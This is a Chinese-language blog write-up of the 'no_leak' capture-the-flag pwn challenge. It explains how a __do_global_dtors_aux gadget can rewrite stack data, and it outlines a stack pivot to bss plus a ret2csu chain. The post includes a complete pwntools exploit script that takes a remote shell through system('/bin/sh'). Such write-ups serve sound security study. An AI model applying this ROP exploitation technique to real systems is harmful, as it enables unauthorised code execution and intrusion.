目录
  1. 1. no_leak
__do_global_dtors_aux的gadget

_do_global_dtors_aux中有一个gadgets可以修改stack上的数据,以达到可以代替64位的ret2_dl_runtime_resolve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@--name:/ctf/work/eonew/noleak# ROPgadget --binary no_leak | grep rbp
0x00000000004004b6 : add byte ptr [rax], al ; pop rbp ; ret
0x00000000004004b5 : add byte ptr [rax], r8b ; pop rbp ; ret
0x0000000000400517 : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000400518 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
0x00000000004004a9 : je 0x4004c0 ; pop rbp ; mov edi, 0x601010 ; jmp rax
0x00000000004004eb : je 0x400500 ; pop rbp ; mov edi, 0x601010 ; jmp rax
0x0000000000400512 : mov byte ptr [rip + 0x200af7], 1 ; pop rbp ; ret
0x00000000004004b3 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x00000000004004f5 : nop dword ptr [rax] ; pop rbp ; ret
0x0000000000400515 : or ah, byte ptr [rax] ; add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004004ab : pop rbp ; mov edi, 0x601010 ; jmp rax
0x00000000004005cb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005cf : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004004b8 : pop rbp ; ret

0x0000000000400518 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret 这个gadget位于

_do_global_dtors_aux中 只要控制rbp和edx的值就可以任意修改栈上的数据

no_leak

栈溢出,没有可泄露的函数,第一感觉是用ret2_dl_runtime_resolve,但尝试之后发现这道题在伪造调用dl_runtime_resolve的时候会跳转到一个未知的地方,而且溢出的字节有点少。

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-80h]

alarm(0x3Cu);
read(0, &buf, 0x100uLL);
return 0;
}

利用思路如下:

1、栈迁移到bss上

2、调用libc_start_main,使得bss上残留下原本栈的信息,就会有真实地址在bss上分布

3、找一个能用的真实地址,利用神奇的gadget,把它伪造成system,再次回跳到main函数

4、栈溢出构造system('/bin/sh')

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
context.log_level = 'debug'
pwn_name = "no_leak"
arch = '64'
version = '2.27'
ip, port = 'nc.eonew.cn', 10002
context.terminal = ['tmux', 'splitw', '-h']
if sys.argv[1]=="l":
p=process('./'+pwn_name)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
p=remote(ip,port)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

elf=ELF(pwn_name,checksec=False)

def get_one():
if(arch == '64'):
if(version == '2.23'):
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
if (version == '2.27'):
one = [0x4f2c5 , 0x4f322 , 0x10a38c]
return one

def sym(func):
success('{} => {:#x}'.format(func , libc.sym[func]))
return libc.sym[func]

def info(con,leak):
success('{} => {:#x}'.format(con,leak))

def dbg(address=0):
if address==0:
gdb.attach(p)
pause()
else:
if address > 0xfffff:
script="b *{:#x}\nc\n".format(address)
else:
script="b *$rebase({:#x})\nc\n".format(address)
gdb.attach(p, script)

def cus_rop(gadget1,gadget2,func_got,rdi,rsi,rdx):
payload = p64(gadget1)
payload += p64(0)
payload += p64(0) #rbx=0
payload += p64(1) #rbp=1
payload += p64(func_got) #r12 call
payload += p64(rdi) #r13 rdx
payload += p64(rsi) #r14 rsi
payload += p64(rdx) #r15 edi
payload += p64(gadget2)
payload += '\x00'*56 #tiao zheng zhan zhen
return payload

one = get_one()

gadget_reg = 0x4005C6
gadget_call= 0x4005B0
magic_gadget = 0x400518
pop_rdi_ret = 0x4005D3
pop_rsi_r15 = 0x4005D1
leave_ret = 0x400564
buf_address = elf.bss() + 0x500
fini = 0x4005E0
init = 0x400570
start = 0x400450
#---------------
dbg(0x400537)

payload = '\x00'*0x80 + p64(buf_address)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_r15) + p64(buf_address) + p64(0) + p64(elf.plt['read'])
payload += p64(leave_ret)
payload = payload.ljust(0x100,'\x00')
p.send(payload)


payload = '\x00'*8
payload += cus_rop(gadget_reg,gadget_call,elf.got['__libc_start_main'],start,fini,init)
payload = payload.ljust(0x100,'\x00')
p.send(payload)
#---------------
pause()
payload = '\x00'*0x80 + p64(buf_address)
payload += p64(0x4005Ca)
payload += p64(0xFFFFFFFFFFC5EE18) ##(-0x3a11e8)^0xffffffffffffffff+1
payload += p64(0x601458+0x3d)
payload += p64(0)*4
payload += p64(magic_gadget)
payload += p64(start)
p.send(payload)
#---------------
binsh = 0x6012b0
system = 0x601458
payload ='/bin/sh\x00'+'b'*0x80
payload +=cus_rop(gadget_reg,gadget_call,system,binsh,fini,init)
p.send(payload)
p.interactive()

修改0x601458处的地址,经过加减得到__libc_system

文章作者: nocbtm
文章链接: https://nocbtm.github.io/2020/04/21/–do-global-dtors-aux的gadget/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 nocbtm's Blog
打赏
  • 微信
  • 支付宝